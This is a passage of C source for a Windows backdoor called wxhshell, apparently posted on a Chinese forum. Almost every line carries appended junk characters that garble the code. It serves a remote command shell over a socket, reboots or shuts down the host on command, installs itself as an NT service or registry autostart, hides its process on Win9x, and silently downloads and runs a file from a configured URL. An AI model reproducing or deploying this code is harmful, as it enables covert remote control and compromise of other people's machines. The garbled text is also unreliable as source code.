  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o.yuz+  
  } VfAC&3 %M  
  else { bqEQP3t^  
m89-rR:Kc  
    switch(cmd[0]) { uJ jm50R<  
  k.nq,  
  // 帮助 d~f_wN&r  
  case '?': { J6Uo+0S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *,g|I8?%VD  
    break; rUjK1A{V  
  } SaK aN#C  
  // 安装 UFnz3vc  
  case 'i': { Hts.G~~8  
    if(Install()) Zcq'u jU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7PG&G5  
    else &Rw4ub3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ql, k5.l  
    break; (. ~#bl  
    } bdh6ii  
  // 卸载 #rSm;'%,  
  case 'r': {  QDCu  
    if(Uninstall()) 3 @XkO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! 6yo D  
    else 6gz !K"S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .&O}/B  
    break; [@"~'fu0  
    } g?,\bmHE  
  // 显示 wxhshell 所在路径 7b7~D +b  
  case 'p': { _t[RHrs  
    char svExeFile[MAX_PATH]; >Micc   
    strcpy(svExeFile,"\n\r"); ]AoRK=aH  
      strcat(svExeFile,ExeFile); 3!_XFV  
        send(wsh,svExeFile,strlen(svExeFile),0); aewVq@ngq!  
    break; 0k"n;:KM8  
    } qcau(#I9.  
  // 重启 )xgOl*D  
  case 'b': { jd<`W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !1 :%!7  
    if(Boot(REBOOT)) QcBuUFf!c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yPw[ EY  
    else { Bw^*6P^l  
    closesocket(wsh); m\QUt ;  
    ExitThread(0); yVQ0;h  
    } IC&>PwXb  
    break; (> O'^W\3p  
    } P|,@En 1!  
  // 关机 'Fi\Qk'D@  
  case 'd': { jWHv9XtW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C3EQz r`  
    if(Boot(SHUTDOWN)) ktlI(#\%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N y_d  
    else { &h1.9AO  
    closesocket(wsh); cMxuG'{=.  
    ExitThread(0); OwhMtYq  
    } R42+^'af  
    break; *?sdWRbu}l  
    } DC?U +  
  // 获取shell u#9H  
  case 's': { tkT:5O6  
    CmdShell(wsh); %JUD54bBt  
    closesocket(wsh); 5>z`==N)  
    ExitThread(0); 8nzDLFxp_  
    break; m-V_J`9"  
  } HCOv<k  
  // 退出 Nn/me  
  case 'x': { Ql`N)!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ph@hk0dgr/  
    CloseIt(wsh); ~>8yJLZ.7  
    break; ZDHm@,d  
    } NP }b   
  // 离开 9!CD25u  
  case 'q': { \0gU)tVZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zx:Qz  
    closesocket(wsh); u-v/`F2wN  
    WSACleanup(); L1P.@hJ  
    exit(1); n*twuB/P 1  
    break; )1#J4  
        } ft |W  
  } alr'If@7  
  } .g Z1}2GF=  
yU ?TdM\  
  // 提示信息 hnOo T? V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IRWVoCc9/\  
} p7H0|>  
  } Sv&_LZ-"P  
=$kSvCjP  
  return; 2G=prS`s  
} y Skz5K+|g  
GYp}V0  
// shell模块句柄 "d1~(0=6<m  
int CmdShell(SOCKET sock) Cp!bsasj  
{ e`]x?t<U4/  
STARTUPINFO si; pZeJ$3@vk  
ZeroMemory(&si,sizeof(si)); 7T[Kjn^{Oj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {=3&_/9s){  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 94uAt&&b(  
PROCESS_INFORMATION ProcessInfo; T#M_2qJ1=  
char cmdline[]="cmd"; Mk-zeq<2z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z89!\Q  
  return 0; xWC*DKV  
} `MD%VHQ9U  
5?] Dn k.o  
// 自身启动模式 0oT~6BGm  
int StartFromService(void) a!?JVhD&  
{ 0Y|"Bo9k  
typedef struct tfz"9PV80  
{ t,D7X1W  
  DWORD ExitStatus; f2*e&+LjTP  
  DWORD PebBaseAddress; WdtZ{H  
  DWORD AffinityMask; Y6+/_$N4|  
  DWORD BasePriority; (FVHtZi7  
  ULONG UniqueProcessId; H\r- ;,&  
  ULONG InheritedFromUniqueProcessId; h*X5O h6  
}   PROCESS_BASIC_INFORMATION; fYxdG|>{u  
TzSEQ S{  
PROCNTQSIP NtQueryInformationProcess; -] @cUx  
NeI#gJ1A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >6X$iBb0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JE~;gz]  
~<.%sVwE  
  HANDLE             hProcess; Vi 9Kah+  
  PROCESS_BASIC_INFORMATION pbi; xLN$!9t  
^*g= 65!1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ zs.M-F  
  if(NULL == hInst ) return 0; rS|nO_9f  
Iu V7~w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uW 7Yem&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >f\$~cp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3*8m!gq7s  
\&XtPQ  
  if (!NtQueryInformationProcess) return 0; xj< K6  
d?6\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?1afW)`a.v  
  if(!hProcess) return 0; ! (H RP9  
6<t<hP_3O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8T523VI  
<>shx;g^C  
  CloseHandle(hProcess); Pt=@U:  
/mK."5-cm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s#BSZP  
if(hProcess==NULL) return 0; As>-9p>v  
r"4&.&6  
HMODULE hMod; 8"=E 0(m  
char procName[255]; ?B{,%2+  
unsigned long cbNeeded; P*!~Z *"  
FlyRcj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z km#w  
-`cNRd0n  
  CloseHandle(hProcess); Z,_EhEm  
rnSrkn"j{  
if(strstr(procName,"services")) return 1; // 以服务启动 7W.z8>p  
4R}$P1 E  
  return 0; // 注册表启动 `Lj'2LoER  
} E51'TT9  
P[K42 mm  
// 主模块 y F;KyY{  
int StartWxhshell(LPSTR lpCmdLine) =WEWs4V5A  
{ %|(Cb!ySX  
  SOCKET wsl; =38c}(  
BOOL val=TRUE; p!/ *(TT  
  int port=0; a/Ik^:>m  
  struct sockaddr_in door; Nm{J=`  
-Pp =)_O  
  if(wscfg.ws_autoins) Install(); :"Gd;~p.  
&=[N{N?(  
port=atoi(lpCmdLine); U6IvN@ g  
*r/o \pyH  
if(port<=0) port=wscfg.ws_port; SO+J5,)HA  
:G4)edwe  
  WSADATA data; "ivSpec.V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]N^>>k  
0f;`Zj0l8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1 ~s$<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =`+c}i?  
  door.sin_family = AF_INET; p?,T%G+gqO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N"Cd{3  
  door.sin_port = htons(port); WqRaD=R->;  
5E!Wp[^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?WBA:?=$58  
closesocket(wsl); 9jJ:T$}  
return 1;  K)P].htw  
} F7&Oc)f"B  
W61nJ7@  
  if(listen(wsl,2) == INVALID_SOCKET) { 1Q!^%{Y;  
closesocket(wsl); \= G8  
return 1; # XeEpdE  
} 1$v1:6  
  Wxhshell(wsl); 7hAc6M$h;  
  WSACleanup(); A 6j>KTU  
|bX{MF  
return 0; {s3j}&  
AiUK#I  
} *?R<gWCF  
^K?Mq1"Db  
// 以NT服务方式启动 AcIw; c:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K*aGz8N  
{ JQ<9~J  
DWORD   status = 0; 4mci@1K#^  
  DWORD   specificError = 0xfffffff; U&OE*dq  
Eemk2>iP?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >U6 2vX"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qlg?'l$03)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,3bAlc8D7  
  serviceStatus.dwWin32ExitCode     = 0; qwvch^?>FQ  
  serviceStatus.dwServiceSpecificExitCode = 0; v"V?  
  serviceStatus.dwCheckPoint       = 0; p K hV<MFB  
  serviceStatus.dwWaitHint       = 0; 9;L50q>s  
~PA6e+gmL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %0lJ(hm  
  if (hServiceStatusHandle==0) return; yL"pzD`[H  
9V?:!%J  
status = GetLastError(); ,K8(D<{  
  if (status!=NO_ERROR) =P`l+k3  
{ V~4yS4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *GC9o/  
    serviceStatus.dwCheckPoint       = 0; .ZVo0  
    serviceStatus.dwWaitHint       = 0; ^ Iy'<J  
    serviceStatus.dwWin32ExitCode     = status; E-b3#\^:  
    serviceStatus.dwServiceSpecificExitCode = specificError; &-(p~[|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9UcSQ"D  
    return; #TD0)C/  
  } WXX08"  
*6QmYq6c<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c n^z=?  
  serviceStatus.dwCheckPoint       = 0; u= ydX  
  serviceStatus.dwWaitHint       = 0; o0FVVSl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u;H5p\zAzz  
} 6#(rWW "_  
,H:{twc   
// 处理NT服务事件,比如:启动、停止 ?T7ndXX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 822jZ sb  
{ *K=Yrisz  
switch(fdwControl) OO-b*\QW  
{ -n]E\"  
case SERVICE_CONTROL_STOP: _-nIy*',=  
  serviceStatus.dwWin32ExitCode = 0; > m##JzWLr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NSDls@m  
  serviceStatus.dwCheckPoint   = 0; l3;MjNB^V  
  serviceStatus.dwWaitHint     = 0; ky{-NrK  
  { 8BggK6X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dH+oV`  
  } >@i {8AD  
  return; 4qmaL+Q  
case SERVICE_CONTROL_PAUSE: Pskg68W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H<C+ rAIb  
  break; g/jlG%kI}  
case SERVICE_CONTROL_CONTINUE: '/Ag3R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~/1eF7  
  break; j[&C6l+wH  
case SERVICE_CONTROL_INTERROGATE: yUlYf#`H  
  break; {+x;J4  
}; z]0UW\S/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F'3-*>]P  
} ca?;!~%zA  
O K2|/y  
// 标准应用程序主函数 BZs?tbf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \"AzT{l!;  
{ zR6^rq*  
` EgO&;1D)  
// 获取操作系统版本 kz?m `~1  
OsIsNt=GetOsVer(); FX:'38-fk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &dvL`  
K0z@gWGE  
  // 从命令行安装 ;(~H(]D  
  if(strpbrk(lpCmdLine,"iI")) Install(); P'p5-l UK  
#hP&;HZ2>"  
  // 下载执行文件 _%6Vcy  
if(wscfg.ws_downexe) { &+-]!^2o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @DK;i_i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0OPpALl  
} >TQnCG =  
&Ez]pKjB  
if(!OsIsNt) { D$PR<>=y  
// 如果时win9x,隐藏进程并且设置为注册表启动 OVf%m~%&s  
HideProc(); D_-<V,3t  
StartWxhshell(lpCmdLine); Yn1CU  
} Fc.1)yh.  
else :}}~ $$&  
  if(StartFromService()) ~@N0$S  
  // 以服务方式启动 Rln JlY/  
  StartServiceCtrlDispatcher(DispatchTable); ?j-;;NNf  
else )1 =|\  
  // 普通方式启动 # vBS7ba  
  StartWxhshell(lpCmdLine); UJ1Ecob  
_.G p}0a  
return 0; q+}Er*r  
}
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只看该作者 1 发表于: 2006-10-10
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